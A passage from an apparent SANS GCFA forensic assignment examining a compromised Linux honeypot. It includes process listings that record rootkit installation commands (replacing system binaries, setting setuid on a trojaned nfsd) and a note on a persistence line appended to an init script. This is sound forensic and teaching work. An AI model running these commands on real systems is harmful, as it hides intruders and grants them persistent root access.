<td>1066</td>
<td>S</td>
<td>671:43</td>
<td>/usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEeqz</td>
<td></td>
</tr>
<tr>
<td>1067</td>
<td>S</td>
<td>0:00</td>
<td>-i0</td>
<td></td>
</tr>
<tr>
<td>1091</td>
<td>S</td>
<td>0:00</td>
<td>/bin/sh /usr/bin/startkde</td>
<td></td>
</tr>
<tr>
<td>1175</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: Running...</td>
<td></td>
</tr>
<tr>
<td>1178</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: dcopserver --nosid</td>
<td></td>
</tr>
<tr>
<td>1181</td>
<td>S</td>
<td>0:00</td>
<td>kdeinit: klauncher</td>
<td></td>
</tr>
<tr>
<td>1183</td>
<td>S</td>
<td>5:52</td>
<td>kdeinit: kded</td>
<td></td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

Page 199

1192 7  S  0:02 /usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l
1203 7  S  0:02 kdebian: knotify
1208 7  S  0:00 kwrapper kmsserver --restore
1210 7  S  0:00 kdebian: kmsserver --restore
1211 7  S  0:09 kdebian: kwin --session 117f00000100010561262930000000
1217 7  S  0:18 kdebian: kicker
1219 7  S  0:35 autorun --interval=1000 --cdplayer=/usr/bin/kscd
1223 7  S  0:51 kdebian: kkiller --icon klipper --miniicon klipper
1226 7  S  0:00 kdebian: kwirted
1228 7  S  0:00 korgac --miniicon korganizer
1230 7  S  0:00 kalarmd --login
1232 7  S  0:04 kdebian: konsole --icon konsole --miniicon konsole
1234 pts/1  S  0:00 /bin/bash
1266 pts/1  S  0:00 su -
1269 pts/1  S  0:00 -bash
613 7  S  0:00 kdebian: kcookiejar
613 7  S  0:00 kdebian: kdesud
7168 pts/2  S  0:12 kdebian: konsole --icon konsole --miniicon konsole
7170 pts/2  S  0:00 /bin/bash
7203 pts/2  S  0:00 su -
7206 pts/2  S  0:00 -bash
8125 7  S  0:01 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
8102 7  S  0:00 /usr/sbin/nfsd -s -l /dev/null -P /var/run/nfsd -a
10606 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10607 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10608 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10609 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10610 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10611 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10612 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10613 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19365 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19366 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19367 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19368 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19369 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19370 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19371 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19372 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19373 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19374 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19375 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19376 7  S  0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19488 7  S  0:00 bash -1
19488 7  S  0:00 bash -l
19504 8  S  0:00 ./r
19505 7  Z  0:00 [r <defunct>]
19507 7  S  0:00 /bin/sh
19508 7  S  0:00 su
19509 7  S  0:00 bash
19535 7  S  0:00 minilogd
19678 7  T  0:00 /usr/bin/weit
19685 7  S  0:00 popauth
19686 7  Z  0:00 [weit <defunct>]
19694 7  T  0:00 cp -f killall /usr/bin/
19697 7  Z  0:00 [cp <defunct>]
19701 7  T  0:00 cp -f find /usr/bin
19703 7  Z  0:00 [cp <defunct>]
19783 7  T  0:00 cp -f du /usr/bin
19783 7  Z  0:00 [cp <defunct>]
19796 7  T  0:00 chmod +s /usr/sbin/nfsd
19798 7  Z  0:00 [chmod <defunct>]
19801 7  T  0:00 cp -f sshd_config /sbin
19807 7  Z  0:00 [cp <defunct>]
19807 7  T  0:00 cp -f xkh_r /sbin
19810 7  T  0:00 /usr/sbin/nfsd -f /sbin/sshd_config
19811 7  S  0:00 /usr/sbin/nfsd -f /sbin/sshd_config
19813 7  Z  0:00 [cp <defunct>]
19814 7  Z  0:00 [cp <defunct>]
19815 7  Z  0:00 [nfsd <defunct>]
19831 7  T  0:00 ls -al
<table>
<thead>
<tr>
<th>PID</th>
<th>TTY</th>
<th>STAT</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>19832</td>
<td>Z</td>
<td>0:00</td>
<td>[ls &lt;defunct&gt;]</td>
<td></td>
</tr>
<tr>
<td>19834</td>
<td>T</td>
<td>0:00</td>
<td>ls -al</td>
<td></td>
</tr>
<tr>
<td>19835</td>
<td>Z</td>
<td>0:00</td>
<td>[ls &lt;defunct&gt;]</td>
<td></td>
</tr>
<tr>
<td>19837</td>
<td>S</td>
<td>0:00</td>
<td>bash -l</td>
<td></td>
</tr>
<tr>
<td>19905</td>
<td>T</td>
<td>0:00</td>
<td>ls -al</td>
<td></td>
</tr>
<tr>
<td>19906</td>
<td>Z</td>
<td>0:00</td>
<td>[ls &lt;defunct&gt;]</td>
<td></td>
</tr>
<tr>
<td>19936</td>
<td>S</td>
<td>0:00</td>
<td>inetd/services</td>
<td></td>
</tr>
<tr>
<td>19941</td>
<td>S</td>
<td>0:00</td>
<td>inetd/services</td>
<td></td>
</tr>
<tr>
<td>19944</td>
<td>R</td>
<td>0:00</td>
<td>ps ax</td>
<td></td>
</tr>
</tbody>
</table>

```
killall -9 ls cp chmod
```

```
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$
(null)(19697): Operation not permitted
(null)(19701): Operation not permitted
(null)(19703): Operation not permitted
(null)(19783): Operation not permitted
(null)(19801): Operation not permitted
(null)(19802): Operation not permitted
(null)(19806): Operation not permitted
(null)(19808): Operation not permitted
(null)(19813): Operation not permitted
(null)(19814): Operation not permitted
cp: no process killed
chmod: no process killed
```

```
ps ax
```

```
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$  PID TTY STAT TIME COMMAND
1 ? S 0:04 init
2 ? SW 0:00 [keventd]
3 ? SW 0:00 [kapmd]
4 ? SWN 0:00 [ksoftirqd_CPU0]
5 ? SW 0:02 [kswapd]
6 ? SW 0:00 [bdfflush]
7 ? SW 0:00 [kupdated]
8 ? SW 0:00 [mdrecoveryd]
12 ? SW 0:00 [kjournald]
9 ? SW 0:00 [khubd]
186 ? SW 0:00 [kjournald]
187 ? SW 0:00 [kjournald]
188 ? SW 0:00 [kjournald]
189 ? SW 0:00 [kjournald]
657 ? S 0:00 rpc.statd
770 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc
790 ? SL 0:01 ntpd -0 ntp -g
8462 ? S 0:01 /usr/sbin/smbd
875 ? S 0:00 xinetd: stayalive -reuse -pidfile /var/run/xinetd.pid
916 ? S 0:00 sendmail: accepting connections
935 ? S 0:00 gpm -t ps/2 -m /dev/mouse
953 ? S 0:00 cron
1005 ? S 0:03 xfs -droppriv -daemon
1041 ? S 0:00 /usr/sbin/atd
1050 tty1 S 0:00 /sbin/mingetty tty1
1051 tty2 S 0:00 /sbin/mingetty tty2
1052 tty3 S 0:00 /sbin/mingetty tty3
1053 tty4 S 0:00 /sbin/mingetty tty4
1054 tty5 S 0:00 /sbin/mingetty tty5
1055 tty6 S 0:00 /sbin/mingetty tty6
1056 S 0:00 /usr/bin/kdm --nodaemon
1066 ? S 671:43 /usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEqz
1067 ? S 0:00 --0
1091 ? S 0:00 /bin/sh /usr/bin/startkde
1175 ? S 0:00 kdeinit: Running...
1178 ? S 0:00 kdeinit: dcopserver --nosid
1181 ? S 0:00 kdeinit: klauncher
1183 ? S 5:52 kdeinit: kded
1192 ? S 0:02 /usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l
<table>
<thead>
<tr>
<th>PID</th>
<th>Status</th>
<th>Time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>19941</td>
<td>S</td>
<td>0:00</td>
<td>inetd/services</td>
</tr>
<tr>
<td>19948</td>
<td>R</td>
<td>0:00</td>
<td>ps ax</td>
</tr>
</tbody>
</table>

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ exit
Appendix F

EnCase – Final Report - Linux 7.3 System.

EnCase Computer Analysis Report

Investigating Agency

Investigating Agency:  
Sans GCFA Cert
Investigating Officer:  
Kevin Miller  
12 Main  
Here, Over There

Investigation Details

The evidence was delivered to Kevin Miller on June 30, 2003.  

<table>
<thead>
<tr>
<th>Items received</th>
<th>Quantity</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Desktop computers</td>
<td>1</td>
<td>Compaq Deskpro P400</td>
</tr>
</tbody>
</table>

Special Circumstances

System from HoneyNet run from June 27 to June 30, 2003.
**EnCase Computer Analysis Report**

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

**Page 204**

---

**Linux 7.3 Honey pot system**

**Device**

- **Evidence Number:** Linux 7.3 Honey pot system
- **File Path:** C:sans\evidence files\Linux 7.3 Honey pot system.E01
- **Examiner Name:** Kevin Miller
- **Actual Date:** 07/16/03 11:03:19AM
- **Target Date:** 07/16/03 11:03:19AM
- **Total Size:** 6,448,619,520 bytes (6.0GB)
- **Total Sectors:** 12,594,960
- **File Integrity:** Completely Verified, 0 Errors
- **Write Blocker:** FastBloc
- **EnCase Version:** 4.14
- **System Version:** Windows XP

**Acquisition Hash:** 579720D58A61D971083F10695B8249CB

**Verify Hash:** 579720D58A61D971083F10695B8249CB

**Partitions**

<table>
<thead>
<tr>
<th>Code</th>
<th>Type</th>
<th>Start Sector</th>
<th>Total Sectors</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>0</td>
<td>105,840</td>
<td>51.7MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>105,840</td>
<td>7,817,040</td>
<td>3.7GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>7,922,880</td>
<td>2,842,560</td>
<td>1.4GB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>10,765,440</td>
<td>786,240</td>
<td>383.9MB</td>
</tr>
<tr>
<td>83</td>
<td>Linux EXT2</td>
<td>11,551,680</td>
<td>529,200</td>
<td>258.4MB</td>
</tr>
<tr>
<td>82</td>
<td>Linux Swap</td>
<td>12,080,880</td>
<td>514,080</td>
<td>251.0MB</td>
</tr>
</tbody>
</table>

**OS Background**

**OS Version /etc/issue**

Red Hat Linux release 7.3 (Valhalla)

**File system layout from fstab.**

```plaintext
LABEL=/ / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
none /dev/pts devpts gid=5,mode=620 0 0
LABEL=/home /home ext3 defaults 1 2
none /proc proc defaults 0 0
none /dev/shm tmpfs defaults 0 0
LABEL=/usr /usr ext3 defaults 1 2
/dev/hda7 swap swap defaults 0 0
/dev/cdrom /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0
/dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0
```
### Volume /boot

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File System:</td>
<td>EXT3</td>
</tr>
<tr>
<td>Sectors per cluster:</td>
<td>2</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>105,777</td>
</tr>
<tr>
<td>Total Capacity:</td>
<td>54,157,312 bytes (51.7MB)</td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>52,888</td>
</tr>
<tr>
<td>Unallocated:</td>
<td>43,376,640 bytes (41.4MB)</td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>42,360</td>
</tr>
<tr>
<td>Allocated:</td>
<td>10,780,672 bytes (10.3MB)</td>
</tr>
<tr>
<td>Volume Name:</td>
<td></td>
</tr>
<tr>
<td>Volume Offset:</td>
<td>63</td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /boot
Volume /usr

Volume
File System: EXT3
Sectors per cluster: 8
Total Sectors: 7,817,040
Total Capacity: 4,002,324,480 bytes (3.7GB)
Total Clusters: 977,130
Unallocated: 2,523,922,432 bytes (2.4GB)
Free Clusters: 616,192
Allocated: 1,478,402,048 bytes (1.4GB)
Volume Name:

The following are bookmarks from Volume /usr
weit file in /usr/bin

modified files

Modified Files

Volume /home

<table>
<thead>
<tr>
<th>Volume</th>
<th>File System: EXT3</th>
<th>Drive Type: Fixed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sectors per cluster: 8</td>
<td>Bytes per sector: 512</td>
<td></td>
</tr>
<tr>
<td>Total Sectors: 2,842,560</td>
<td>Total Capacity:</td>
<td></td>
</tr>
<tr>
<td>1,455,390,720 bytes (1.4GB)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total Clusters: 355,320</td>
<td>Unallocated:</td>
<td></td>
</tr>
<tr>
<td>1,397,174,272 bytes (1.3GB)</td>
<td>Allocated: 58,216,448</td>
<td></td>
</tr>
<tr>
<td>Free Clusters: 341,107</td>
<td>Volume Offset:</td>
<td></td>
</tr>
<tr>
<td>bytes (55.5MB)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Volume Name: 7,922,880</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /home
Volume /

Volume
File System: EXT3
Sectors per cluster: 2
Total Sectors: 786,177
Total Capacity: 512
Total Sectors: 402,522,112 bytes (383.9MB)
Total Clusters: 393,088
Free Clusters: 309,555
Unallocated: 316,984,320 bytes (302.3MB)
Total Sectors: 316,984,320 bytes (302.3MB)
Total Clusters: 85,537,792
Allocated: 85,537,792
Volume Name: Sans GCFA Cert Assignment
Volume Offset: 10,765,503

The following are bookmarks from Volume /

startup files

Startup Files
6) Name inittab
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\inittab
Entry Modified 06/20/03 04:14:39AM
Last Accessed 06/30/03 04:45:40PM
Last Written 06/20/03 04:14:39AM
Hash Value 340fae11d6076e860f7e0e0069c2e57
Physical Size 2,048
Logical Size 1,756
Short Name
Comment: The config file used for booting.

#
# inittab  This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author:  Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
# System initialization.
EnCase Computer Analysis Report

EnCase Computer Analysis Report

EnCase Computer Analysis Report

si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Things to run in every runlevel.
ud::once:/sbin/update

# Trap CTRL-ALT-DELETE
cs::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

# Run gettyts in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
# xdm is now a separate service
x5::respawn:/etc/X11/prefdm -nodaemon

These scripts are used by init tab for booting

7) Name keytable
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\keytable
   Entry Modified 06/19/03 11:35:03AM
   Last Accessed 06/27/03 02:09:10PM
   Last Written 04/15/02 08:05:50AM
   Hash Value cd93e8654c65ca1dd8e6d099c06d2f6f
   Physical Size 2,048
   Logical Size 1,273
   Short Name

8) Name atd
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\atd
   Entry Modified 06/19/03 11:34:38AM
   Last Accessed 06/27/03 02:09:10PM
   Last Written 01/17/02 11:34:41AM
   Hash Value 524d785c2e2f156b8deb1d24004c681e
   Physical Size 2,048
   Logical Size 1,176
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdcrotate</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\kdcrotate</td>
<td>06/19/03 11:36:46AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/01/02 08:43:05AM</td>
<td>52c90cfd7106168e12784574f66a9c87</td>
<td>2,048</td>
<td>1,084</td>
</tr>
<tr>
<td>gpm</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\gpm</td>
<td>06/19/03 11:36:39AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/09/02 11:43:30AM</td>
<td>57c68b9be4338b491c5dc2aeaca24520</td>
<td>2,048</td>
<td>1,541</td>
</tr>
<tr>
<td>sendmail</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\sendmail</td>
<td>06/19/03 11:36:55AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/08/02 04:55:40AM</td>
<td>daa93b121f2b893d0579075e671d5723</td>
<td>2,048</td>
<td>1,830</td>
</tr>
<tr>
<td>kudzu</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\kudzu</td>
<td>06/19/03 11:36:50AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/17/02 04:11:44PM</td>
<td>e8e31d1982dd547f059ce530e8541d6d</td>
<td>2,048</td>
<td>1,919</td>
</tr>
<tr>
<td>halt</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\halt</td>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/27/02 05:21:19PM</td>
<td>2381f1589d17b4795823dda2e891b0b3</td>
<td>6,144</td>
<td>5,153</td>
</tr>
<tr>
<td>netfs</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\netfs</td>
<td>06/19/03 11:36:50AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/27/02 05:21:19PM</td>
<td>2381f1589d17b4795823dda2e891b0b3</td>
<td>6,144</td>
<td>5,153</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Entry Modified 06/19/03 11:37:15AM
Last Accessed 06/27/03 02:09:10PM
Last Written 03/13/02 01:28:10AM
Hash Value 832173d444399f8da24f764d211ab161
Physical Size 5,120
Logical Size 5,104

15) Name random
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\random
Entry Modified 06/19/03 11:37:15AM
Last Accessed 06/27/03 02:09:10PM
Last Written 03/12/01 11:18:08AM
Hash Value 27ea15de8132eef5987c204e05d19299
Physical Size 2,048
Logical Size 1,544

16) Name single
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\single
Entry Modified 06/19/03 11:37:15AM
Last Accessed 06/27/03 02:09:10PM
Last Written 02/27/01 04:49:42PM
Hash Value 641a8cc64affbd56403795f87e24c2da
Physical Size 2,048
Logical Size 1,329

17) Name ipchains
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ipchains
Entry Modified 06/19/03 11:37:18AM
Last Accessed 06/27/03 02:09:10PM
Last Written 02/22/02 12:41:45AM
Hash Value 61b0710c6cd9661045b4296b77229686
Physical Size 4,096
Logical Size 3,313

18) Name ipchains
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ipchains
Entry Modified 06/19/03 11:37:18AM
Last Accessed 06/27/03 02:09:10PM
Last Written 02/22/02 12:41:45AM
Hash Value 61b0710c6cd9661045b4296b77229686
Physical Size 4,096
Logical Size 3,313

19) Name anacron
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\anacron
Entry Modified 06/19/03 11:38:11AM
Last Accessed 06/27/03 02:09:10PM
Last Written 06/24/01 08:25:30PM
Hash Value 5479af54908ef2f8b169c17ce5acb54
EnCase Computer Analysis Report

Physical Size 1,024
Logical Size 934

20) Name lpd
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\lpd
Entry Modified 06/19/03 11:39:08AM
Last Accessed 06/27/03 02:09:10PM
Last Written 04/02/02 10:57:07AM
Hash Value 37ba1d18ff0ff75142055f1b63d6cc9e
Physical Size 2,048
Logical Size 2,033

21) Name portmap
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\portmap
Entry Modified 06/19/03 11:40:22AM
Last Accessed 06/27/03 02:09:10PM
Last Written 02/27/02 01:41:37PM
Hash Value 97d91eea25e86a592c5bebbaec49f16
Physical Size 2,048
Logical Size 1,831

22) Name xinetd
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\xinetd
Entry Modified 06/19/03 11:46:32AM
Last Accessed 06/27/03 02:13:01PM
Last Written 04/04/02 04:30:50PM
Hash Value 4296e734117325537d5750b8ed88d6e7
Physical Size 3,072
Logical Size 2,313

23) Name autofs
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\autofs
Entry Modified 06/20/03 02:13:13AM
Last Accessed 06/27/03 02:09:10PM
Last Written 04/02/02 10:22:41AM
Hash Value 81744fd7354923367f423ce374b64ab
Physical Size 10,240
Logical Size 9,435

24) Name nfslock
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\nfslock
Entry Modified 06/20/03 02:14:00AM
Last Accessed 06/27/03 02:09:10PM
Last Written 04/09/02 09:14:14AM
Hash Value a3d40799d7f19b21f1652a6239b93625
Physical Size 3,072
Logical Size 2,286

25) Name identd
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report  Page 213

<table>
<thead>
<tr>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system /etc/rc.d/init.d/identd</td>
<td>06/20/03 02:14:16AM</td>
<td>06/27/03 02:09:10PM</td>
<td>02/27/02 01:12:55PM</td>
<td>55b38ea6aeecc5f7ff8f89c3e9bd0</td>
<td>2,048</td>
<td>1,681</td>
</tr>
<tr>
<td>26) Name</td>
<td>snmpd</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system /etc/rc.d/init.d/snmpd</td>
<td>Entry Modified</td>
<td>06/20/03 02:14:36AM</td>
<td>Last Accessed</td>
</tr>
<tr>
<td>27) Name</td>
<td>yppbind</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system /etc/rc.d/init.d/yppbind</td>
<td>Entry Modified</td>
<td>06/20/03 02:14:45AM</td>
<td>Last Accessed</td>
</tr>
<tr>
<td>28) Name</td>
<td>sshd</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system /etc/rc.d/init.d/sshd</td>
<td>Entry Modified</td>
<td>06/29/03 03:22:04PM</td>
<td>Last Accessed</td>
</tr>
<tr>
<td>29) Name</td>
<td>yppasswdd</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system /etc/rc.d/init.d/yppasswdd</td>
<td>Entry Modified</td>
<td>06/20/03 02:17:15AM</td>
<td>Last Accessed</td>
</tr>
<tr>
<td>30) Name</td>
<td>ypxfrd</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment: Linux 7.3 Honey pot system /etc/rc.d/init.d/ypxfrd</td>
<td>Entry Modified</td>
<td>06/20/03 02:17:15AM</td>
<td>Last Accessed</td>
</tr>
</tbody>
</table>
Comment: The S95atd is the script that boots the (compromised) syslog script.

**Startup files modified by root kit**

Compromised startup files

36) Name functions
Comment: The functions startup script has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to it. This is done by the install script found in the /tmp/ directory.

#!/bin/bash
#
# functions This file contains functions to be used by most or all
# shell scripts in the /etc/init.d directory.
#
# Version: @(#) /etc/init.d/functions 1.01 26-Oct-1993
#
# Author: Miquel van Smoreenburg, <miquels@drinkel.nl.mugnet.org>
# Hacked by: Greg Galloway and Marc Ewing
#
# i18n originally by: Arnaldo Carvalho de Melo <acme@conectiva.com.br>,
# Wanderlei Antonio Cavassin
TEXTDOMAIN=initscripts
TEXTDOMAINDIR=/etc/locale

# Make sure umask is sane
umask 022

# First set up a default search path.
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin"

# Get a sane screen width
[ -z "${COLUMNS:-}" ] && COLUMNS=80

if [ -f /etc/sysconfig/i18n -a -z "${NOLOCALE:-}" ]; then
  . /etc/sysconfig/i18n
else
  unset LANG
  if [ "${LANG:-}" = "ja_JP.eucJP" -a "${LANG:-}" != "pt" ]; then
    unset LANG
  elif [ "${LANG:-}" = "ko_KR.eucKR" -a "${LANG:-}" != "pt" ]; then
    unset LANG
  elif [ "${LANG:-}" = "zh_CN.GB2312" -a "${LANG:-}" != "pt" ]; then
    unset LANG
  elif [ "${LANG:-}" = "zh_TW.Big5" -a "${LANG:-}" != "pt" ]; then
    unset LANG
  fi
fi

# Read in our configuration
if [ -z "${BOOTUP:-}" ]; then
  if [ -f /etc/sysconfig/init ]; then
    . /etc/sysconfig/init
  else
    # This all seem confusing? Look in /etc/sysconfig/init, 
    # or in /usr/doc/initscripts/*/sysconfig.txt
    BOOTUP=color
    RES_COL=60
    MOVE_TO_COL="echo -en \033[1;30m${RES_COL}G"
    SETCOLOR_SUCCESS="echo -en \033[1;32m"
    SETCOLOR_FAILURE="echo -en \033[1;31m"
    SETCOLOR_WARNING="echo -en \033[1;33m"
EnCase Computer Analysis Report

SETCOLOR_NORMAL="echo -en \"033[0;39m"
LOGLEVEL=1
fi
if [ -x /sbin/consoletype ]; then
if [ "$consoletype" = "serial" ]; then
BOOTUP=serial
MOVE_TO_COL=
SETCOLOR_SUCCESS=
SETCOLOR_FAILURE=
SETCOLOR_WARNING=
SETCOLOR_NORMAL=
fi
fi
fi
if [ "${BOOTUP:-}" != "verbose" ]; then
INITLOG_ARGS="-q"
else
INITLOG_ARGS=
fi

# Check if $pid (could be plural) are running
checkpid() {
while [ "$1" ]; do
  [ -d /proc/$1 ] && return 0
  shift
done
return 1
}

# A function to start a program.
demon() {
  # Test syntax.
  local gotbase= force=
  local base= user= nice= bg= pid
  nicelevel=0
while [ "$1" != "${1##[0-9]*}" ]; do
  case $1 in
  "")
    echo "$0: Usage: demon [+/ -nicelevel] {program}"
    return 1;;
  --check)
    gotbase="yes"
    shift
    ;;
  --check=?)
    gotbase=${1##--check=}
    shift
    ;;
  --user)
    user=${2}
    shift 2
    ;;
  --user=?)
    user=${1##--user=}
    shift
    ;;
